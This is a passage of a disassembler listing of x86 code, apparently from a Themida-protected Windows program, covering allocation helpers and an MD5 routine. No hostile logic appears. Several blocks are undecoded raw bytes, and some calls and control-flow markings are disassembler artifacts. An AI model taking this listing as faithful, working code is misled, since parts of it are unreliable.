		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C245E890h, 0C085022Eh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 2720743h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2720000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 274041Bh
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		call	near ptr 27B07E7h
		nop
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	93E89051h, 56022DC0h, 0E890D88Bh
		dd 22DC203h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]


loc_435367:				; DATA XREF: Themida_:0058DE06o
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
